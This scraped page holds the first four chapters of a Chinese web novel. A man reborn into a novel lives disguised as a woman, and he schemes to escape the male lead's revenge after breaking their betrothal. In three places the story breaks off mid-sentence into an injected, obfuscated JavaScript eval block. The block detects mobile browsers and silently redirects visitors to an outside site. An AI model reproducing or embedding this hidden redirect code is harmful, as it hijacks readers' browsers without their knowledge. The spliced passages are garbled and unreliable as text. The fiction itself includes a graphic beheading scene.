《招惹起点文男主的下场》 1. 归京 永嘉五年,正值倒春寒。 阴雨连绵,寒潮再度侵袭整个上京城。 驿站的官员快马加鞭递送的边关情报传入京城,打破了近些天较为压抑的氛围。 “打赢了!” 街头巷尾还未至夜幕降临便零星亮起几盏灯,湿冷的空气中传来轻快的人声,说到精彩处时,茶楼圆桌四周的人不禁拊掌感叹。 “这三皇子殿下,倒是个人物。圣上听从皇后的意见,把他打发去边塞,可曾想过三皇子会有收复北羌的一天?” “当初三皇子没了母族势力支持,被赶去边塞打仗,每天出生入死,本以为就此废了,再也爬不起来,空悬的太子之位也不会落在他头上。谁也没想到,仅仅三年他就荡平北羌,立了大功。真是世事无常啊。” “北蛮子打北蛮子,倒是有趣。” 其中一个尖嘴猴腮的中年男子闻言,连嘴里吮没味的瓜子壳都忘记吐出来,瞪大眼睛道:“三皇子此次立功,不日归京,你这话要是给他听见了,舌头还要不要了?” 一柱香前,一道青影就立在屋檐下的阴影处,沉默良久,直到听到“不日归京”四字后,才有了反应。 他转身出了茶楼。 此时雨止云散,街道的尽头是一轮弯月。沈幼青快步走着,最终停在了府邸前,扫了一眼门口站如松的侍卫,又打消了从正门进的念头。 靠着多年来对沈府的了解,他毫不费力地爬墙而入,一路畅通无阻地偷溜进了岚苑。 屋内暖烘烘的,熏香燃着只剩半截,沈幼青刚进来浑身被氤氲香气包裹住。 “少爷,今天差点就被家主发现了,多亏柳银把家主支走了……下次这种顶替的事我可不能再做了。”桃金皱起一张小脸,苦巴巴地接过沈幼青解开的毛领氅衣。 桃金忆起自己裹紧被褥,战战兢兢的一整天,就心有余悸。 沈幼青洗去脸上涂抹的黑粉痕迹,脱下沾了外面寒冷湿气的淡青云锦袍和月白缂丝长靴,无需桃金搭手就熟练地换上一身绣花袄长裙。 摇曳的烛光映在他秾艳昳丽的面上,端的一副唇红齿白,眸若秋水的好姿色。 桃金不由得看呆了去,即便自幼伺候沈幼青,至今还是动不动会被这张脸惊艳到。 往日沈幼青穿回男装出门,心情都是极好的,带了一堆稀奇古怪的小玩意回来,有时还会跟桃金,柳银介绍比如扑克,麻将什么的。 但今天,沈幼青似乎一直在出神。 “少爷,我去给你端碗姜汤来祛寒气。”私底下,桃金素来喊他少爷,人前才会喊他小姐。 十几年前,世道很乱,到处都在打仗,沈夫人随着沈太傅奔波劳累,逃亡途中早产生下了他。 太傅忆起几个月前高僧批的命格,那人表示若沈夫人诞下男子,轻则稚儿会有血光之灾,重则九族覆灭,若诞下女子,便是凤命,举世祥瑞。 高僧之言不能不信,无奈之下只能隐瞒沈幼青的性别,顶着欺君之罪的压力对外宣称生了个女儿。但即便妄图如此将命格“偷天换日”,沈幼青尚未完全逃脱命数。他自幼身子骨弱,经常生病,尤其是在外受了凉极易引发风寒。 因此,沈太傅对他的出行管控得很严,府里还特意请来了一位老郎中,据说曾经在宫里的太医院干过几年。 至今为止,除了父母,他的贴身侍卫和丫鬟,以及老郎中之外,无人知晓他的真实性别。 沈幼青懒散地躺在盖了一层棉毯的软榻上,把玩着裙摆上绽开的杏花,叹了一口气。 他穿裙子穿了十八年了。 从他胎穿到这个世界开始,他就一直扮作女子,学女子礼仪,学女红和琴棋书画,不过到现在也只是学个皮毛,并不精通。 这一切的一切,都要归因于他的右手。 没错,就是当初那只握住鼠标点开刚完结的起点男频金榜文《盛京》的右手。 他那时快速扫了几眼评论区,除了无数夸贬,定睛瞧去居然还有提到“沈幼青”三个字的评论。 【狗币作者什么吊意思,沈幼青特么就死在男主登基当天了?】 【我才看十章,问问路过的,男主为啥不收这个漂亮妹子啊?】 【这咋收啊,退了婚还背刺,男主杀了她不是很正常吗?】 【前面花了将近一章写沈幼青多漂亮,花了几十章写两人青梅竹马,我都把她当成后宫预备役了,后面人设忽然就崩了,还被男主给弄死了,作者懂个屁的《盛京》,写你奶奶个腿!】 沈幼青自打了解穿书定律后,对于本名和小说人物撞了的事情敏感起来,但得知和他撞名字的是个女配,悬着的心就放了下来。 这本小说算是看之无味,弃之也不可惜的那一类。男主薛故与千篇一律的男频主角人设没什么区别。 战乱时期,母亲带着两岁的他与皇家队伍走散,流落边关,辗转多地寻父皇薛钊,结果没几年母亲就死了。薛故自小与牛羊作伴,以打猎为生,期间饱受困厄。十二岁凭借着一块玉佩信物被皇帝身边人找了回去。 无数爽点的堆砌都离不开前期十磨九难的铺垫。薛故被接回京城,只是更深一级磨难的开始。他被贵妃继养在膝下,靠自己实力逐渐得势,但好景不长,贵妃被抄了全家,而他虽与贵妃背后的母族并无太多干系,却还是因受帝王的厌弃而被遣去边塞任他自生自灭,一切再度回到了原点。 当然,后面啰里八嗦了几千章的升级流就是爽感的层层叠加和递进了,典型的起点文发展:种马男主罹难后莫欺少年穷,逆袭虐渣,一路收后宫和下属,所有人都为他的成就功绩铺路等诸如此类。 注水情节太多,沈幼青跳着看,无聊时打发时间的小说就这样花了一周看到了薛故当上皇帝的章节。 直到出车祸前的最后一刻,他手机里的页面还停留在书里沈幼青死的那章。 “那把生锈的刀很钝。 第一刀砍上去的时候,刺鼻的血腥味扑面而来,脆弱纤细的白皙脖颈处露出森森白骨,滴血如注。 口齿间凄惨尖利的尖叫声和血沫混在一起,狼狈不堪。 第二刀,“咯吱”响起令人牙酸的骨裂声。 直到第三刀挥下,头颅才“咚”的一声响落了地。 薛故泯了口茶,观刑期间一言不发,那人头落地时唇角微微勾起的弧度却能预示着他的好心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427120|200889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情。” 好似一阵寒风从背后袭来,沈幼青身子抖了抖,一只手不自禁地摸往脖子。小说里“沈幼青”之死描写得很简单直白,几句话草草带过,可他每次只要一联想到画面就总觉得痛感极其真实强烈。 给他个痛快还不行,非得来三次。 死后那颗头被装封在薛故对沈家的赏赐里,沈家人打开箱子时“沈幼青”漂亮的双眼都已经被虫子啃噬殆尽了,沈夫人极度悲伤的同时又受了惊,当场气绝身亡。 薛故真特么不是人…… 沈幼青恨恨地捶了一下身下的瓷枕,“都怪你!” 他已经很久没去回忆小说剧情了,如若不是今日听到薛故启程回京,他还能过上许久安逸享乐的自在日子! 原著中薛故花了五六年时间扫平北羌,将近几百章的剧情就这样提前结束了。 是的,上天仿佛给薛故开了倍速键,疾速快进到新的篇章,开启新的版图。 对于咸鱼生活的行将结束,说完全不恐慌是假的。 桃金察觉到沈幼青情绪不佳,在沈幼青喝完一碗姜汤后又在桌上放了一碟蜜汁枣糕。 平日里吃完能让人心情好转的甜食此刻竟有些难以下咽。 沈幼青咬了一口,又放下了。 “少爷是有什么心事吗?不妨说给奴婢听听。”上次少爷出现如此这般心神不宁的模样尚且是三年前殿下离开的那天。 沈幼青单手托腮,顿了顿,轻声道:“我有个朋友——”说罢,抬眼看见桃金严肃地点头,摆着一副认真倾听的面孔,应该是真的觉得他在讲朋友的事情。 “他呢,有一桩娘胎里就定下的婚事,两人青梅竹马,感情……嗯……还算深厚。后来对方遭了难,我这个朋友前脚答应等他回来,后脚就退了婚约,结果对方现在飞黄腾达,官运亨通。桃金,如果你是对方,你遇到我朋友后会怎么做?” 桃金稍稍思忖,继而蹙起眉头,带着疑惑的口吻说道:“少爷,这个故事我好像在哪见过。” 沈幼青低咳一声:“怎么会?你记错了吧。好了好了,估计是从哪个话本看到类似的故事,别想太多。” “少爷,你这个朋友不太厚道呀。不过,对于没有期限的等待及时止损倒是能够理解,谁知道对方会不会也变心呢?” 沈幼青眸光一亮:“就是。”薛故自己都后宫美女无数了,凭啥要他守节。 “奴婢认为,得看对方对你朋友还有没有感情吧。若是感情还在,对方大概会争取回来。兴许二人同修旧好,破镜重圆,还能变成一段佳话。倘若感情已经不在,那奴婢就不知晓了。” “感情还在,是不是就可以稳住他一段时间了……”沈幼青喃喃自语着。原著里,薛故对自己喜欢的女人,还算不错的,至少收入后宫的美人没有一个出现伤残! “稳住什么?” 少爷说的话,她怎么越来越听不明白了。 沈幼青没有接话,问道:“那怎样才能知道感情还在不在呢?” “试探。”桃金用简短的两个字概括。 一个计划在沈幼青脑海中逐渐成型。 他好像知道,该怎么做了。 2. 食言 三更夜,霖雨不再哀泣,逐渐收了阵势后,一夜过去,只余潮湿的青石板路,和顺着杏树花叶落在黛瓦上的滴答声。 空气清新,掺杂了雨后的泥土青草以及杏花香的气息,令人心旷神怡。 沈幼青难得醒得早,没有惊动桃金和柳银,洗漱穿戴过后,趴在案前,洋洋洒洒地写满了几张纸,从A计划延伸到G计划,甚至还很好心情地在旁边附了几张抽象的小人像。 其中一个人像马尾高高束起,一根玉簪从间隙穿过,白衣黑靴,正双膝跪地,做祈求状,其穿着打扮赫然是三年前薛故临走前给沈幼青留下的最后印象。 沈幼青不禁笑弯了腰。 正是因为现实中的薛故不可能这么做,这样大的反差才能瞬间戳中他的笑点。 一转念想起三年前,嘴角弯起的弧度僵了一瞬。 薛故离开京城时正是刚摆脱严冬的寒春。 少年约他于城南的碧水河相见,说有要事相告。在那天之前,薛故从未单独约他出来过,这倒令沈幼青十分惊奇。 终于对他如钱塘江浪潮般澎湃汹涌的“爱意”感到无所适从直至忍无可忍从而要主动提出解除婚约了吗? 还是良心发现不能再拖累自己从而要解除婚约? 不管什么原因,只要两人和平结束,且不会让薛故日后记恨自己落井下石,这个任务就完成得就很完美了。 到河边时,一道颀长的身影立在那儿,应该等候已久了。 少年身姿出众,裹紧的玄色绦带束出劲瘦的腰身,白色衣袂随风翻飞,远远望去,整个人的气场冷硬中透着几分戾气,令人难以忽视也不敢轻易靠近。 沈幼青忍着雀跃的神情,眉头微微蹙起,悲伤的情绪恰好流露三分,不多不少,“听我爹说,你要走了,是吗?” “是。” “那我们的婚约还作数吗?”沈幼青眸光微黯,似生怕眼前的人说出否定的答案。 少年并没有急着回答,只是那双冷棕色带着异域气息的深邃瞳孔直勾勾地盯着他,如倾倒的砚台,浓郁得能化成一道利刃直击他的内心最深处。 “你说过,会一直喜欢我,还作数吗?” 沈幼青呼吸一窒,有那么一瞬间,脑海中诡异地冒出被看穿了的错觉。 “当然!” 听到笃定的答案后,薛故眼里的浓墨似乎化开,眉头松动了些,阴冷的气息也被冲淡了,唇上牵起清浅的笑意,不仔细看根本看不出来。 “我亦当如是。”少年语气透着坚定,还有一丝温和。 啥啥啥?什么意思? 我一直喜欢他,他也一直不解除婚约? 是这个意思吧! 沈幼青绞尽脑汁想着接下来该如何应对,如何把话题再度转回婚约上,薛故却不给他这个时间。 眼前的人瞬间放大,温热的气息扑打在他的脸上,风吹过来时两人的发丝绞在一起,多了暧昧的意味。少年的唇贴上他的嘴角,动作很轻,一触即分,在心口上徒留一道酥酥麻麻的痕迹。 沈幼青愕然,怔愣在原地。 他被亲了。 他被一个男人亲了。 他被一个不知道他是男人的男人亲了。 沈幼青霎时面红耳赤,不知道是恼还是羞得,梗着脖子厉声指责:“你…你偷袭我!”说完又觉得用错词分外难堪,默默垂下眼睫,不开口了。 薛故闷笑出声。 他肩膀微颤着,胸膛随着笑声起伏。 这还是沈幼青第一次见他笑得这么开怀,不由得多打量了几番。 薛故笑起来还怪好看的,比平常多了很多属于他这个年纪的少年意气。 等一下,重点不是这个。 有什么好笑的?偷亲就罢了,脸皮比猪皮厚,还敢嘲笑自己。不对,他都享拥三千佳丽,亲个嘴都是最小的尺度了,还有什么他不敢的。 想到这儿,沈幼青稍微冷静了些。 薛故往前迈了一步,拉近了两人之间的距离,近得沈幼青能闻见他身上淡淡的皂角香。 也是,扶持薛故的势力全倒了,他如今哪顾得上用熏香。 天之骄子,一夕之间被打回原形,灰溜溜得要连夜收拾好铺盖滚回最开始生养自己的地方。 放在谁身上都显得狼狈不堪,窘迫万分,可发生在薛故身上,除了眼里的些许疲惫,未曾有过任何自卑自贱之举,不像是落荒而逃、落平阳而被犬欺的虎,更像一匹放养归林,蓄盈待竭的狼。 少年蹲下身,左腿向前微屈,弓下腰,沈幼青有些慌乱,下意识往后退了一步。 薛故抬眼望着他,手里紧握一块刻了“故”字的玉佩。 玉身有几个地方出现磨损,应当是佩戴时间过长难免磕磕碰碰导致的。不出意外,这枚玉佩便是书里薛故认出身份,把他带去皇宫的信物。 玉佩年代已久,但也是薛故自小佩戴,代替母妃陪伴他长大的珍贵物什。 沈幼青的后退此刻无疑让薛故有些受伤。 “你不喜欢?”薛故站起身,问道。 沈幼青猛地摇头:“不是。我只是觉得,它太贵重了。” 他自然清楚薛故对该玉佩的珍视程度。只是从那个吻结束之后,他脑子里的线已经乱成一团了,到现在还理不清,摸不透薛故的动机,猜不透薛故到底在想什么。 似乎一切皆和最初遐想的背道而驰了。 为什么会发展成这样? “撒谎。”薛故眼底的笑意骤然消散,语气平淡,心里并不如面上那般毫无波澜。 也不怪薛故察觉得太快,连沈幼青说完以后自己都清楚理由站不住脚。 以往薛故对他并不热络,他才是那个爱贴人冷屁股的,能从薛故手里讨要到一件东西都能在薛故面前嘚瑟很久,今天一反常态确实会让人觉得很不对劲。 沈幼青干脆破罐子破摔,咬紧牙关道:“现在出了这么多事,你无法在理智地做出决定。这枚玉佩,我此刻收下很不妥当。殿下,将来变数很多,我们彼此之间……最好都冷静下。” 沈幼青大脑飞速运转着,拼命组织着真中掺假且不会惹怒薛故的话术。 应付薛故,真的要时时刻刻费尽心思,之前还能得过且过,但自从薛故失了势后,掌握剧情的弦似乎达到了某种即将绷裂的极限。 薛故越来越不好糊弄了。 任务完成后,系统要是只敷衍地赏一丁点积分,他绝对要罢工!真把他当日本人整啊,一个男人每天装成女人追着薛故跑,骗“财”又骗“色”,给人知道真相不得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427121|200889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把他肉涮了,毫无疑问会比原著的下场还要惨烈百倍。 早春的阳光温暖和煦,江风却湿寒刺骨。 薛故表情似笑非笑,他低哑的声音落在这空荡冷清的郊野间显得清晰可闻,“冷静之后呢?” 沈幼青心头一悸,低下头避开薛故紧跟的视线,狠下心道:“我是喜欢你,但你此次一去,就不知归期,多年以后倘若你把我忘了,身边有红袖添香,你与他人举案齐眉,交琴瑟之好,那到时要我如何自处?你知道的,我沈幼青这辈子不可能与别人共侍一夫。再者,你现在什么都没有,凭什么让我一直等你。你也根本不喜欢我,又凭什么要我像你希望的那样一直喜欢你。” 沈幼青第一次同他说话这般不留情面,尽管语气已经尽力保持平静,但薛故却从中听出了几分怨念。 薛故面色苍白了几分,嗓子里挤出的声音略微艰涩,“可你最初说喜欢我时,我也一无所有。” 指尖冰凉,攥紧玉佩的修长指骨在用力下青筋勃出。 “可否给我三年时间,等我回来——”娶你。 他嘴唇动了动,剩下的语句刚到嘴边又咽了下去。 沈幼青也是第一次见到这样不同以往的薛故。 再冷漠的人瞧见薛故的脸做出黯然无措的表情,也很难说出什么重话。 那一刻沈幼青只感觉自己呼吸凝滞,沉闷的空气好似封锁了他的五感,到最后恢复听觉的时候,他听见自己在说:“好。” 一个月后,沈幼青食言了。 退亲的一纸书信送去遥远的潼山关,而薛故收到信件已是三个月之后的事了。 三年来,没有一次回信。 沈幼青人物剧情的每一个节点,只要完成了其中的任务,系统便会自动生成积分,按照任务难度给予不同程度范围内的积分。 退婚,恰好是原著中刺激男主的一个重要故事节点,虽不是压倒男主的最后一根稻草,但也给男主埋下了恨的种子。 之前,他一直以为,他所处世界里的薛故对沈幼青的喜欢还不如原著里真挚。结果自河边相聚之后,他意识到,薛故好像真的有点喜欢他。 这就难办了。 有爱才会生恨啊! 思绪回笼后,沈幼青搁下笔,将桌案上的几张纸收拾到一起,夹进一本书里,压在书架上层的最底部。 门嘎吱一声响起,听到熟悉的脚步声,沈幼青便知,是桃金和柳银进来了。 “少爷,您今日起得真早。”桃金笑呵呵地说着。 柳银面无表情,只道了一声早安。 柳银是沈少傅给他安排的侍卫,负责保护他的人身安全,且方便监视他,随时能汇报他的情况。不过柳银跟了他多年,早就被他策反了,有时候甚至会帮着沈幼青瞒天过海,偷摸干一些沈少傅不允许的事情。 桃金性格活泼直爽,柳银比较沉闷且一根筋。 沈幼青迫于性别和身体的原因,没有十分交好的朋友,除了围着薛故打转,大部分时间都被困于宅院中,和桃金、柳银二人聊天或者玩些游戏来打发时间。 “对了,少爷,夫人适才喊您过去一道用早膳。” 沈幼青眨了眨眼,歪着脑袋哼笑一声。 毋庸置疑,这其实是他亲爹求和的信号。 3. 世子 晨间沈府一片寂静,偶尔传来鸟雀鸣叫声和下人来回走动的脚步声。 此时,一道压着嗓音的调笑声自假山后溢出,话语模糊,竖耳细听才能听得真切些。 “……武安侯世子昨日在胜仙阁一掷千金,只为博那头牌一笑……” “我也听说了,武安侯世子当真栽进去了。当初求娶沈家小姐,都没这般低下姿态哄着宠着,她日后啊,定会抬进武安侯府里做妾的。” “沈小姐不闹吗?” 紧接着,另一个女人以袖掩口,笑声婉转,“闹什么闹啊,哪日世子将那头牌抬为平妻都不见得会闹。世子日日在勾栏里寻欢作乐,风流成性,即便与小姐定下婚事,也毫不收敛。小姐对世子死心塌地的,从未发一句怨言也没说过世子不是,在世子面前跟个鹌鹑似的。据说啊,沈太傅很不满意婚事,谁要是主动和他提起,他都要大动肝火的。” 沈幼青站在假山边,眼睫微动,低眉微微一哂,而那头声音还在继续。 “不满意还能订亲?” “自然是沈小姐求来的,坊间说她为了世子,果断退了与三皇子的婚事,家主不同意,她硬是拿轻生威胁家主,为了世子要死要活的,现下好多人都说沈家家门不幸……” 女子噗嗤一笑,语气愈发鄙夷,“这你也信?我看分明是她拜高踩低,瞧上了世子的身份,就把三皇子殿下给踹了,真是眼高手低,愚不可及。也幸亏圣上厌恶三皇子,否则单凭挑衅皇家威严,也够她好果子吃。如今三皇子平凉大捷,圣上召他回京,我看呐,这沈家小姐好日子到头了。” 身侧的桃金听不下去了,撸起袖子,恨声道:“这两个嘴碎的,不过跟着表小姐,来沈府待几天,就心比天高,连对少爷都敢出言不逊,看我不撕烂她们的嘴。” 沈幼青一只手拽住她的衣袖,“忘了待客之道了?” 尔后,他对着柳银一挑眉,柳银瞬间懂了,转身大跨步去了假山后。 “你要做甚?” “放肆你这奴才!我们可是表小姐的婢女,小心我们表小姐……” 惊呼声此起彼伏,若兰一脚没踩稳,摔在卵石路上,揉着被扯痛的胳膊,嗔了柳银一眼。 柳银一言不发,高大的身形移开,乍映入若兰眼帘的是一张姣好标致,雄雌莫辨的脸,面部线条流畅柔和,鼻梁秀挺,仿佛被湖水洗涤过的一双桃花眼微眯,正笑意盈盈,好整以暇地望着她。 “沈……沈小姐。”若兰大惊失色,双腿瘫软,喉咙像被什么卡住了说不出话。 沈幼青故作责怪地睨了柳银一眼,道:“看把人吓得,别那么粗鲁,好歹怜香惜玉一下,小心以后娶不到老婆。” 柳银点头:“是。” 别人对他的议论,他听罢也没有产生气愤的情绪。原著里的小青梅“沈幼青”,就是如侍女口中所说的那般拜高踩低,见异思迁之人。他在世人眼里如何他不关心,反正这个书里的世界他总有一天要离开的…… 只是,他很好奇用轻生逼迫他爹的传言哪来的。 “我轻生的流言,你从哪听来的?” “是是……那日我路过胜仙阁听到的。武安侯世子酒后向众人吐露,奴婢没有其他意思,只是为小姐您打抱不平……” “是啊,小姐,武安侯世子这样祸害小姐的名声,奴婢们实在看不下去罢了。” 沈幼青觉得聒噪,不想再听她们解释的话,摆了摆手让她们下去。 桃金撇嘴道:“一个个猫哭耗子假慈悲。” “我是耗子?” “那也是最好看的耗子。”桃金拍起了马屁。 “……” 沈幼青走过长长的游廊,拐个弯进了膳厅。 “阿荷,在府里还住得惯吧?” “住得很好,多谢舅母关心,这些天阿荷叨扰了。” 沈夫人正端坐桌前,同身边的女子说笑着,沈太傅不善言辞,偶尔附和几声。 沈幼青进来的时候,侍女刚布完饭菜,站在一旁等候。 “晓晓来了。”沈夫人唇角弯起。 她穿着不似大户人家雍容华贵,衣裙颜色朴素大方,眼角几道细纹,却看得出年轻时是个十足的美人胚子,经过岁月的沉淀更有几分别样的韵味。 说罢,裙下的绣鞋踢了一下对面的沈太傅。 沈太傅旋即低咳一声,语气僵硬,“来了就坐下吧。” 他面容俊朗,不说话时眉头下意识地紧皱,给人留下不怒自威的印象。是个很标准化的文官,严正古板,高风亮节,但并不迂腐。 沈幼青的脸承袭了两个人五官上的优越之处,身形随沈夫人,削肩长颈,属于江南人的小骨架,他体弱尚处在发育阶段,没有完全长开,只是比寻常女子高一些,喉结小巧,男性特征不明显。等过几年,外人或许就能一眼看出他的真实性别。 “我不敢坐,我怕爹让我连带椅子一起滚出去。”沈幼青叹了口气,眸中凝起一缕淡淡的惆怅。 “行了,再废话就站着吃饭。”沈太傅见他装模作样,一时没忍住跟他呛声,下一瞬胳膊肉被沈夫人狠狠一揪,随后换了温和的语气开口,“晓晓应该饿了,来人,给他盛点米粥。” 沈幼青也跟着换了副面孔,笑嘻嘻地落座了。 晓晓是他的乳名,源于他生于春晓时,高僧为他取字“晓”,说能护佑于他。 沈夫人心疼他自小不能像平常孩子长大,对他没有任何要求,做自己开心的事情就好,而沈太傅因为他是男子,从来不会惯着他。 前不久,他们俩因为一点小事吵了起来。 沈夫人从中调和,两人关系到现在才稍稍缓和下来。 “阿爹阿娘,明天我要出去一趟。” 沈太傅略带狐疑的视线落在他身上,沈幼青放下筷子,竖起四根手指,“我发誓,绝对绝对不会惹事。”见沈太傅的神情没有一丝松动,求助的目光转向沈夫人:“府里太无聊了,阿娘,我好久没出去玩了。” “你这段时间出去的次数还少了?”沈太傅无语片刻。 “原来阿爹你知道啊。”沈幼青转眼笑开,虽然沈太傅没明确说,但他知道他同意了。 “我初来京城,不知表姐能否带我出去逛逛。”女子声音很轻,踌躇不安道。 沈幼青见过她几次,但笼统没有说过几句话。想起方才路上那两个婢女的闲话,心口升起异样的情绪。 眼前人怯懦安静,和那两个仗势欺人,嚣张跋扈的侍女,形成一种微妙的反差。 “下次吧。” 林荷失落点头。 沈幼青歪头打量了她一番,委婉道:“表妹,看你印堂发黑,身弱有七杀,想必是命犯小人,最好小心身边有人嚼舌根。” 林荷呼吸放缓,随后莞尔道:“谢谢表姐提醒。” “晓晓何时学会了看面相?” 沈幼青:“我随口一说。” “你这孩子……”沈夫人无奈一笑。 吃完饭,侍从收拾碗筷,林荷起身说了声告辞,先行离开了。 待她走后,沈夫人吩咐下人离开,斟酌片刻担忧道:“晓晓,你说实话,你是不是还喜欢……武安侯世子?” 沈幼青犹豫不决,没有回答。 “你爹之前都为你将来打算好了,待你及冠便告老还乡,助你假死脱身,从此改名换姓,可你为何想不开要答应武安侯世子的求娶,阿娘我至今都想不明白。与三殿下的婚事便也罢了,那是阿娘当年与他亲娘交情极好时定下的,你不是女子,本也不会有这桩娃娃亲,却因此被迫与他有了交集。阿娘对不住你。” 沈夫人语气愧疚,让沈幼青心里实在不是滋味,但他又没办法把系统和任务一事明说,真说了还会倒扣积分。 “阿娘,跟你没关系,你知道的,我以前对三殿下一往情深嘛,但与他终归是有缘无份,而武安侯世子……”沈幼青摸了摸下巴,继续编故事,“其实,我做过一个预知梦,梦里很多事情都验证成功了。你们信我,与武安侯世子结亲非我所愿,只是保命之举,能避祸的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427122|200889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>按照原著,完全是反着来的,“沈幼青”与武安侯世子狼狈为奸,沆瀣一气,哪里是保命之举,分明是惹祸上身,恨不得早点死在薛故手里。 “当真?” 沈太傅也半信半疑道:“侯夫人离世,世子须得守孝三年,待到娶妻之时,你已经及冠并且换了身份,期间安分一点就能省事宁人,你还要避何祸?” 沈幼青面不改色地编:“梦中圣上在一年后,会选一些女子入宫,我不幸成了其中一位。但如今我和武安侯世子有了婚约,武安侯功高望重,圣上不会轻易得罪他的,此亲事对我有利无害。”真中掺假,可信度变得更高。 沈夫人听得惊心动魄,此刻已经全信了,“原来如此,我还当晓晓又动了心。” 沈幼青撇了撇嘴,打了个哈欠,“我又不傻,怎么会喜欢他。” “你说的不论真假,及冠之前都不得再见他。”沈太傅皱眉道。 沈幼青不以为然地笑道:“知道了。” 他与李胥只见过几次面,每次见面李胥都要对他动手动脚的。沈幼青不堪其扰,此后约他会面屡屡称病,久而久之,李胥也沉浸在青楼姑娘的温柔乡里,很少来打扰他了。 系统给的任务只是和李胥订婚,又不强行要求他履行一个“未婚妻”的职责,他才不会和原著那样同李胥往来密切,勾结在一起。 打开系统面板,沈幼青从头到尾扫视了一遍。 “大哥,真的不打折吗?你这些东西也太贵了吧,敲诈人也不是这个敲诈法。你是不是巴不得我把积分全花在这些道具上面,然后待在这里一辈子给你打工卖命?” 他目前才两千积分,商城里的道具,一把普通匕首五十积分,一颗糖一百积分,救治的药三百积分……乱出价呀。 系统冷冰冰的机械音自脑海中响起:“主角心情指数太低,就没有折扣。” 沈幼青苦笑道:“都打胜仗了还不高兴下?你确定你没有检测错吗?” “没有。” “那怎么提高他的心情指数?” 呵呵,不愧是整个宇宙都围绕着他转的自带光环爽文男主,就连心情好坏与否都能影响到他购买道具的折扣多少。 “宿主若想提高主角心情指数,可以从以下三个方面入手。一,提高主角的爽度值,即触发不限于打脸反派炮灰、收获女人芳心、提升在民众里的声望等剧情。二……” 哦,又是给薛故当牛做马,休想! 沈幼青立刻出声打断:“ 好了,闭嘴,我知道了。” 他之前忍痛花了一百积分原价兑换了一种特殊的香料,据系统介绍该香料闻久了能使人产生幻觉,本身其实无色无毒且溶于水。 现在看来花得挺值的,兴许未来保命有大用。 沈幼青回到自己的居室,翻箱倒柜得找香料,却始终不见踪迹。 桃金好奇问他:“少爷在找什么?” “小罐装的香料,白色的,你看到过没?” 桃金深吸一口气,抿唇道:“不会是跟其他香料放在一起的紫色罐子吧。” 沈幼青欣喜点头,眼中迸出希冀的光。 桃金心虚地挠了挠头:“当时武安侯世子向少爷讨要礼物,少爷出门之前让我随便弄点香料塞香囊里送到他府上去……然后我不想让世子占得便宜,就特意选了几款味道没那么好闻的香料……”,桃金耷拉着眉眼,诚心道歉:“少爷,我错了。” 沈幼青听罢摆了摆手,心里清楚怨不得桃金,分明他自己贪玩,懒得为李胥花心思,导致几百积分买来的香料糟蹋掉了。只是,这香料到了李胥手里,也不知道会发生什么事。 “没事,我之后再买好了。” 这时,柳银推门而入。 “少爷,刚刚传来消息,武安侯世子昨天突然神智不清,将院中水塘误当作浴池跳下去了,目前生死不知。”柳银带着重磅消息出现,语气淡然,同以往一般无波无澜地汇报情况。 话刚落,沈幼青脊背僵直,嘴唇微微张开,发不出声音。 4. 惩罚 “糟了,桃金,我们好像惹出大事了。”沈幼青呆楞在原地。 什么叫蝴蝶效应,沈幼青第一次切身体会到其含义。他随手在系统那买下的香料,一次振翅居然能产生这么大风波,让一个比自己活得还久的反派角色之一提前宣告死亡出局。 桃金也慢吞吞道:“什么意思啊,难道世子落水是因为我送去的香囊?” 柳银不明所以地皱起眉:“少爷,你们在说什么?” 沈幼青无力地叹了口气,答案尽在不言之中。 “我知道了,我这就去官府投案自首,不会给少爷带来麻烦的。”桃金擦了擦泪水洇湿的眼睛,小声啜泣着,转身就要走。 “给我回来。那个香料确实有问题,长期闻能使人神智不清,产生幻觉,但无毒且溶于水,银针试不出来,如果香囊在他身上,或许已经被水浸泡没了。不过,李胥这到处沾花惹草风流成性的畜生,不见得会随身携带我的香囊。”沈幼青摸了摸下巴,冷静分析道。 柳银严肃点头道:“好,我现在就去侯府找香囊。” 沈幼青无语抚额:“你们俩一个比一个轴。”他有理由怀疑,哪怕自己真的想要杀了李胥,这两人也会一个递刀一个销毁罪证。 “先等李胥情况稳定再说,现在小心自投罗网。”柳银武力值虽高,但武安侯府是什么地方?李胥父亲武安侯是辅国重臣,乱世时曾随圣上征战多地,拿下无数城池,受封一等侯爵,地位可见一斑。 李胥命好,哪怕既不精通兵法,也不饱读诗书,没出生就注定继承爵位。平日里横行霸道,作威作福,反复蹦跶作死也不会受到什么反噬。 幸好,他们全家都是反派。这意味着他们迟早得被主角收拾。而沈幼青,则是反派的炮灰未婚妻,掀不起什么大浪死得还挺惨一人。 沈幼青敲了敲系统,“李胥若是死了,我会受到什么惩处?” 